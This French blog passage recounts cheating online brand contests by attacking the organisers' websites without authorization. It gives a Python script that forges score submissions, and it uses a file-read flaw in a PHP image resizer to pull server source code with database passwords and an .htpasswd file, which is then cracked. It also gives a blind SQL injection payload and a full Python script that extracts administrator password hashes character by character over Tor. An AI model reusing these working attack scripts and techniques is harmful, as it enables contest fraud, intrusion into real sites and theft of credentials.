fd.close()

Résultat

On a reçu un message indiquant qu'on était premier à l'issue de la période... Ensuite il faut s'en remettre à la chance.

Jeu numéro 9

Présentation

La marque de boisson Marrée Basse organise un concours pour rajeunir son image. Pour cela elle propose de faire gagner des lots "branchés".
Le jeu est du type ramassage d'objets qui tombent. Comme pour le jeu précédent, le score final a une importance très relative. On peut jouer autant de fois que l'on souhaite, seul le meilleur score sera pris en compte.
A une date prédéfinie, un tirage au sort aura lieu où chaque point compte pour une "voix" dans le tirage. On augmente donc ses chances avec un bon score même si au final la chance a le dernier mot. En plus du jeu, un système de parainage permet de récupérer une quantité considérable de points.

Pwnage

Inutile de faire les bourrins, premièrement pour ne pas se faire remarquer et deuxièmement à cause du tirage au sort final. On peut tout de même se placer dans le top 10 pour avoir plus de chances.
Inutile d'analyser le swf, l'analyse réseau nous donne suffisamment d'informations. Le procédé de validation est pour le moins simple : pas de présence de clé de vérification ou d'algo de cryptage.
Il suffit de récupérer un cookie en spécifiant son username, envoyer son score puis valider le tout en renvoyant les informations complémentaires + un code de type captcha.
L'opération pourrait se faire via un proxy applicatif comme Charles en activant l'interception des données pour modification mais on a préféré écrire un code qui télécharge l'image captcha, l'affiche (sous windows) et nous demande de taper le code dans la console avant de renvoyer les données.

import time
import urllib
import httplib2
import random
import sys
import os

score = 6957
user = 1363

head = {"User-Agent" : "Mozilla/5.0 (Windows NT 6.1; rv:9.0) Gecko/20100101 Firefox/9.0",
        'Content-type': 'application/x-www-form-urlencoded'}

cnx = httplib2.Http()

# Ouverture de la session
response, content = cnx.request("http://www.marreebasse.com/scripts/submit.php",
                            'POST', headers = head, body = "user_id=%d" % (user))

cookie = response["set-cookie"].split(";")[0]
head["Cookie"] = cookie
print cookie

# Envoi du score
response, content = cnx.request("http://www.marreebasse.com/scripts/submit.php",
                            'POST', headers = head, body = "score=%d" % (score))

# Lecture captcha
response, content = cnx.request("http://www.marreebasse.com/scripts/captcha.php",
                            'GET', headers = head)
fd = open("captcha.jpg", "wb")
fd.write(content)
fd.close()

os.startfile("captcha.jpg")
captcha = raw_input("Code: ").strip()

d = {'captcha' : captcha,
     'email' : 'hacker@plop.com',
     'score' : score,
     'pseudo' : 'hacker',
     'lastname' : 'HACKER',
     'firstname' : 'Leet'}

# Conformation score + captcha
response, content = cnx.request("http://www.marreebasse.com/scripts/valider.php",
                            'POST', headers = head, body = urllib.urlencode(d))

print content

Résultat

Aucun problème pour se placer dans la tête. Pour le reste il faut croiser les doigts.

Jeu numéro 10

Présentation

Rikantonai (filiale de Microndable) organise un concours pour faire connaître ses nouveaux produits sur le marché. Pour cela elle a mis en place un jeu Flash de type ramassage d'objets dans lequel il faut récupérer le plus d'objets dans un temps donné.

Pwnage

On peut bien sûr analyser le flash qui nous apprendra que le process de validation (via une variable clé) se fait par l'utilisation de md5 et ainsi soumettre les scores que l'on souhaite.
Mais l'entreprise a trouvé une bonne façon de promouvoir ses produits : sur les produits de la marque on peut trouver des codes à soumettre sur le site qui augmentent la durée des parties et donc permettent d'obtenir un meilleur score.
On se rend en magasin et on zieute voir si le code est visible sur l'extérieur du produit mais ce n'est pas le cas. Du coup on achète quelques produits histoire de voir ce qu'il se passe lors de la soumission d'un code et si c'est possible de tricher.

Comme vous vous en doutez, on ne trouve rien du tout d'intéressant... Et on se dit que se serait bien de récupérer les PHP côté serveur histoire de voir comment ça fonctionne (puisqu'on est curieux).
Pour éviter de faire des bétises on commence par bloquer toutes les communications avec le site sur notre machine (iptables -A OUTPUT -d ip_du_serveur -j DROP) puis on lance un Tor/Privoxy/Firefox et on commence à chercher des failles sur le site web.
On relève les URLs et formulaires avec des paramêtres puis on teste les failles SQL, local include & co. On trouve finalement un script PHP vulnérable dont le rôle est de redimensionner une image.
Dans la théorie un tel script ne devrait pas être faillible mais son auteur fait pourtant appel à la fonction readfile() à des fins de débug...
Soit le mec est très con, soit il a volontairement inclus une backdoor. Je vous laisse juger par vous même :

<?php
header ("Content-type: image/jpeg");
/*
JPEG / PNG Image Resizer
Parameters (passed via URL):

img = path / url of jpeg or png image file

percent = if this is defined, image is resized by it's
          value in percent (i.e. 50 to divide by 50 percent)

w = image width

h = image height

constrain = if this is parameter is passed and w and h are set
            to a size value then the size of the resulting image
            is constrained by whichever dimension is smaller

Requires the PHP GD Extension

Outputs the resulting image in JPEG Format

By: Michael John G. Lopez - www.sydel.net
Filename : imgsize.php
*/

$img = $_GET['img'];
//$percent = $_GET['percent'];
//$constrain = $_GET['constrain'];
$w = $_GET['w'];
$h = $_GET['h'];

// get image size of img
$x = @getimagesize($img);
// image width
$sw = $x[0];
// image height
$sh = $x[1];

if (isset ($w) AND !isset ($h)) {
        // autocompute height if only width is set
        $h = (100 / ($sw / $w)) * .01;
        $h = @round ($sh * $h);
} elseif (isset ($h) AND !isset ($w)) {
        // autocompute width if only height is set
        $w = (100 / ($sh / $h)) * .01;
        $w = @round ($sw * $w);
} elseif (isset ($h) AND isset ($w) AND isset ($constrain)) {
        // get the smaller resulting image dimension if both height
        // and width are set and $constrain is also set
        $hx = (100 / ($sw / $w)) * .01;
        $hx = @round ($sh * $hx);

        $wx = (100 / ($sh / $h)) * .01;
        $wx = @round ($sw * $wx);

        if ($hx < $h) {
                $h = (100 / ($sw / $w)) * .01;
                $h = @round ($sh * $h);
        } else {
                $w = (100 / ($sh / $h)) * .01;
                $w = @round ($sw * $w);
        }
}


$im = @ImageCreateFromJPEG ($img) or // Read JPEG Image
$im = @ImageCreateFromPNG ($img) or // or PNG Image
$im = @ImageCreateFromGIF ($img) or // or GIF Image
$im = false; // If image is not JPEG, PNG, or GIF

if (!$im) {
        // We get errors from PHP's ImageCreate functions...
        // So let's echo back the contents of the actual image.
        readfile ($img);
} else {
        // Create the resized image destination
        $thumb = @ImageCreateTrueColor ($w, $h);
        // Copy from image source, resize it, and paste to image destination
        @ImageCopyResampled ($thumb, $im, 0, 0, 0, 0, $w, $h, $sw, $sh);
        // Output resized image
        @ImageJPEG ($thumb ,NULL, 200);
}
?>

Le site du jeu se base sur le framework AMF-PHP. Comme on y connait trop rien on fouille un peu sur Google pour comprendre comment ça se configure et où se trouvent les fichiers sensibles.
Au moment du jeu (qui remonte à loin, inutile d'essayer de le retrouver), il n'existait pas de tools comme AMFshell (cité sur d4n3wS) pour nous faciliter le travail.
On a tout de même trouvé les références suivantes :

On en déduit que les scripts qui nous intéressent se situent dans le path /amfphp/services/ (c'est la valeur par défaut et c'est défini dans globals.php (appelé par le script principal gateway.php).
AMF est une technologie d'Adobe. Toutes les libs sont déjà présentes dans le plugin Flash côté client et le framework AMF-PHP côté serveur. L'appel aux "services" est donc quelque chose d'asez transparent aux yeux des développeurs.

Voici ce qu'on trouvait dans le code ActionScript décompilé :

private var _codeService:NetConnection;
private var _codeResponder:Responder;
private var _hiScoreService:NetConnection;
private var _hiScoreResponder:Responder;

public function Communications(param1:IEventDispatcher = null)
{
    this._codeResponder = new Responder(this._onCodeSuccess, this._onCodeFault);
    this._hiScoreResponder = new Responder(this._onHiScoreSuccess, this._onHiScoreFault);
    this._codeService = new NetConnection();
    this._codeService.objectEncoding = ObjectEncoding.AMF3;
    this._codeService.addEventListener(IOErrorEvent.IO_ERROR, this._onCodeIOError);
    this._codeService.connect("http://www.rikantonai.com/amfphp/gateway.php");
    this._hiScoreService = new NetConnection();
    this._hiScoreService.objectEncoding = ObjectEncoding.AMF3;
    this._hiScoreService.addEventListener(IOErrorEvent.IO_ERROR, this._onHiScoreIOError);
    this._hiScoreService.connect("http://www.rikantonai.com/amfphp/gateway.php");
    super(param1);
    return;
}

public function checkCode(param1:String, param2:String, param3:String) : void
{
    trace("Communications::Check Code Validity");
    trace("userID   : " + param1);
    trace("sessionID: " + param2);
    trace("codeInput: " + param3);
    trace("encrypt  : " + MD5.hash(param2));
    trace("\n\n");
    this._codeService.call("code.check", this._codeResponder, param1, param2, param3, MD5.hash(param2));
    return;
}

public function uploadScore(param1:String, param2:String, param3:Number) : void
{
    trace("Communications::Upload High Score");
    trace("userID   : " + param1);
    trace("sessionID: " + param2);
    trace("hiScore  : " + param3);
    trace("encrypt  : " + MD5.hash(param2));
    this._hiScoreService.call("submit.save", this._hiScoreResponder, param1, param2, param3, MD5.hash(param2));
    return;
}

La façon dont il faut interpréter une instruction comme this._codeService.call("code.check", ...) signifie en fait qu'on appelle la fonction check() qui se situe dans le script code.php dans le dossier /amfphp/services/.
On utilise alors le readfile() pour obtenir code.php (qui sert à enregistrer les codes de temps) :

<?
class code
{

  public function __construct()
  {
    mysql_connect("localhost", "spip", "sUp3rl33tp4s5!");
    mysql_select_db("spip_bd");
  }

  function check($userID, $sessionID, $code, $encrypted)
  {
    // verifie les identifiants
    if ($this->_docheckuser($userID, $sessionID) == false)
    {
      // FAIL !
      $response["success"] = false;
      $response["codeValue"] = '0';
      return $response;
    }

    // Verification de la cle
    $data_encrypted = md5($sessionID);

    if ($data_encrypted != $encrypted) {
      $response["success"] = false;
      $response["codeValue"] = '0';
      return $response;
    }

    // Verifie le code promotionnel (deja utilise?)
    $sqluser = 'SELECT tps,id_auteur FROM code WHERE code = "'.$code.'"';
    $requser = mysql_query($sqluser) or die('Erreur SQL !<br />'.$sqluser.'<br />'.mysql_error());
    $responseuser = mysql_fetch_array($requser);
    if ($responseuser[1] != '0' && $responseuser[1] != '' ) {
      $response["success"] = false;
      $response["codeValue"] = '0';
      return $response;
    }else {
      if ($responseuser[0] == '' ){
        $response["success"] = false;
        $response["codeValue"] = '0';
        return $response;
      } else {
        $sqluser = "UPDATE code SET id_auteur='".$userID."' ,date_used = NOW() WHERE code='".$code."'";
        $requser = mysql_query($sqluser) or die('Erreur SQL !<br />'.$sqluser.'<br />'.mysql_error());
        $response["success"] = true;
        $response["codeValue"] = $responseuser[0];
        return $response;
      }
    }
  }

  function _docheckuser($userID,$sessionID)
  {
    $sql = 'SELECT count(*) FROM spip_auteurs WHERE id_auteur="'.$userID.'"AND alea_futur="'.$sessionID.'"';
    $req = mysql_query($sql) or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error());
    $data = mysql_fetch_array($req);
    if ($data[0] == '0' ){
      return false;
    }else {
      return true ;
    }
  }
}
?>

et on fait de même avec submit.php (qui permet l'enregistrement des codes)

<?
class submit
{

  public function __construct()
  {
    mysql_connect("localhost", "spip", "sUp3rl33tp4s5");
    mysql_select_db("spip_bd");
  }

  function save($userID, $sessionID,$score,$encrypted)
  {
    if ($this->_docheckuser($userID,$sessionID) == false)
    {
      return 'User invalid';
    }

    $data_encrypted = md5($sessionID);

    if ($data_encrypted != $encrypted) return 'encryption error';

    // UPDATE ou INSERT ? User a t-il deja joue ?
    $sql2 = 'SELECT score FROM user_rktn WHERE id_auteur='.$userID.'';
    $req2 = mysql_query($sql2) or die('Erreur SQL !<br />'.$sql2.'<br />'.mysql_error());
    $data2 = mysql_fetch_array($req2);

    if ($data2[0] != '') {
      // update
      $sqluser = "UPDATE user_rktn SET score='".$score."'and updated = NOW() WHERE id_auteur='".$userID."'";}
    else {
      $sqluser = "INSERT INTO user_rktn (id, id_auteur, score, updated) VALUES ('','".$userID."','".$score."',NOW())";
    }
    $requser = mysql_query($sqluser) or die('Erreur SQL !<br />'.$sqluser.'<br />'.mysql_error());

    return 'ok';
  }

  function _docheckuser($userID,$sessionID)
  {
    $sql = 'SELECT count(*) FROM spip_auteurs WHERE id_auteur="'.$userID.'"AND alea_futur="'.$sessionID.'"';
    $req = mysql_query($sql) or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error());
    $data = mysql_fetch_array($req);
    if ($data[0] == '0' ){
      return false;
    }else {
      return true ;
    }
  }
}
?>

Avantage LOTFREE ! :) On a obtenu des identifiants de base de données ainsi que les noms de trois tables : code, spip_auteurs et user_rktn.
Malheureusement la base de données est inaccessible depuis l'extérieur :'( Mais j'avoue qu'on a pas essayé de jouer avec le firewall.

Du coup on a exploité les jolies failles SQL présentes dans les scripts puisque les chaines de requêtes SQL ne sont à aucun moment vérifiées :)
Définir notre score ne nous intéresse pas comme on l'a déjà vu. En revanche obtenir des codes de temps valide c'est tout bénef puisque la société n'a pas moyen de vérifier si les produits sont effectivement achetés.
Mais on s'est retrouvé face à un problème qui semble insolvable : les codes temps que l'on récupérera, il faudra les utiliser avec notre account.
Or si l'admin regarde ses logs SQL il verra les requêtes ayant permis d'extraire les codes et serait capable de retrouver quel compte les a utilisé.
Nos premiers essais ont consisté à utiliser into outfile mais les droits du daemon n'étaient pas suffisant. On peut se baser sur des fonctions dont le résultat n'est pas fixe comme NOW() et faire des calculs (style WHERE ID = minutes de l'heure en cours * 10 + 4) pour embrouiller l'admin mais si les requêtes sont datées dans les logs il parviendra quand même à remonter notre processus d'extraction.

On a décidé de fouiller plus en direction du CMS SPIP dont on a vu précédemment l'utilisation puisque les comptes sont enregistrés dans la base spip_auteurs.
SPIP a une interface admin accessible depuis /ecrire. Si on tente d'y accèder on se retrouve devant une authentification HTTP.

Grace au readfile on récupère le .htacess qui bloque :

AuthUserFile /var/www/vhosts/rikantonai.com/httpdocs/ecrire/.htpasswd
AuthName "-- Rikantonai private area !--"
AuthType Basic
<Limit GET POST>
require valid-user
</Limit>

puis le fichier .htpasswd correspondant. Avec un dictionnaire et John The Ripper il n'aura fallu que quelques secondes pour récupérer le password en clair :)

Maintenant il nous faut récupérer les identifiants admin de SPIP depuis la base de données. Comme ici on a pas besoin de passer notre ID dans les requêtes SQL on y va avec allegresse (mais pas sans rustines, bitches) :p
Les users admin sous spip ont dans la base de données un champ statut défini à "0minirezo".
Pour extraire les données on va utiliser le script submit.php et en particulier la vérification des identifiants pour retrouver par dichotomie logins et passwords. C'est de la vrai-fausse SQL injection dans le sens où on a accès au code source mais on se base sur un résultat booleen (soit vrai soit faux).

On part de la requête suivante :

$sql = 'SELECT count(*) FROM spip_auteurs WHERE id_auteur="'.$userID.'"AND alea_futur="'.$sessionID.'"';

On défini $userID à ce que l'on souhaite (pas d'importance) puis $sessionID à, par exemple, " OR length(login)=5 AND statut!="0minirezo ce qui nous donne :

SELECT count(*) FROM spip_auteurs WHERE id_auteur="0" AND alea_futur="" OR length(login)=5 AND statut!="0minirezo

Si un admin existe avec un username de longueur 5 on a un retour positif à la sortie de _docheckuser et ça échoue dans save() en retournant 'encryption error'.
Si un tel utilisateur n'existe pas le script termine avant.

Pour automatiser nos attaques on va utiliser la librairie pyamf. Ce qui nous donne ce code d'exemple maison en Python (le hacking c'est de l'artisanat) :

import os
from pyamf.remoting.client import RemotingService
os.environ['HTTP_PROXY'] = '127.0.0.1:8123' # Proxy Tor
gateway = RemotingService("http://www.rikantonai.com/amfphp/gateway.php")
submit_service = gateway.getService('submit.save')
# userId, sessionID, score, hash
print submit_service("0", '" OR login="test" AND length(pass)=0 AND statut!="0minirezo', '', 404, 'xxx')

Et si on fait un bruteforce pour obtenir le hash du login test (sachant que la longueur des hashs est de 32 caractères) :

import os
from pyamf.remoting.client import RemotingService

os.environ['HTTP_PROXY'] = '127.0.0.1:8123'

gateway = RemotingService("http://www.rikantonai.com/amfphp/gateway.php")
submit_service = gateway.getService('submit.save')
# userId, sessionID, score, hash
hash = ""
for i in range(1,33):
  pos = str(i)
  c = ''

  if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))>96 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
    # caractere
    if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))>100 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
      # e ou f
      if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))=101 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
        c = 'e'
      else:
        c = 'f'
    else:
      # a, b, c, d
      if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))>98 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
        # c ou d
        if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))=99 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
          c = 'c'
        else:
          c = 'd'
      else:
        # a ou b
        if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))=97 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
          c = 'a'
        else:
          c = 'b'
  else:
    # loginbres
    if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))>52 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
      # 5..9
      if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))>54 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
        # 7..9
        if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))>55 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
          # 8 ou 9
          if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))=56 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
            c = '8'
          else:
            c = '9'
        else:
          c = '7'
      else:
        # 5 ou 6
        if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))=53 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
          c = '5'
        else:
          c = '6'
    else:
      # 0..4
      if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))>50 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
        # 3 ou 4
        if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))=51 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
          c = '3'
        else:
          c = '4'
      else:
        if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))>48 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
          # 1 ou 2
          if submit_service("0", '" OR login="test" AND ascii(substr(pass,%s,1))=49 AND statut!="0minirezo' % (pos), '', 404, 'xxx') == "encryption error":
            c = '1'
          else:
            c = '2'
        else:
          c = '0'

  hash += c
  print hash

On obtient finalement 5 logins admin avec leurs hash associés. Il faut aussi récupérer le salt qui est le alea_actuel dans la base de données.
On met ça dans un fichier texte de cette forme :
login:md5_gen(4)hash_password$alea_actuel
Et on balance à JTR (Jumbo). Mais après l'équivalent de plus de 90 jours à tourner (oui on est des bourrins :p) nous n'avons toujours rien obtenu. Idem avec des dicos énormes.

Résultat

Soit on a merdé quelque part, soit le système de chiffrement de SPIP est vraiment efficace et force à utiliser des passwords forts, soit JTR ne gère pas bien les données (longueur du salt) qu'on lui donne...
Dans tous les cas on a préféré laisser tomber :p

Conclusion

On s'apperçoit vite que quand on triche, nos seuls vrais concurrents sont les autres tricheurs :p C'est intéressant de se mesurer à eux, malheureusement beaucoup de ce que l'on a croisé ne sont pas discrets et provoquent la suspiçion des organisateurs qui ne se sont visiblement pas préparés à de telles situations. Du coup certains annulent le coucours en lousdé, virent des comptes de joueurs sans prévenir ou se donnent quelques libertés quand aux lots et aux vainqueurs. C'est déjà arrivé que les concours soient pipés.
Mais on s'en fout, ce ne sont que des jeux et on triche d'abord pour le fun et seulement ensuite pour les lots.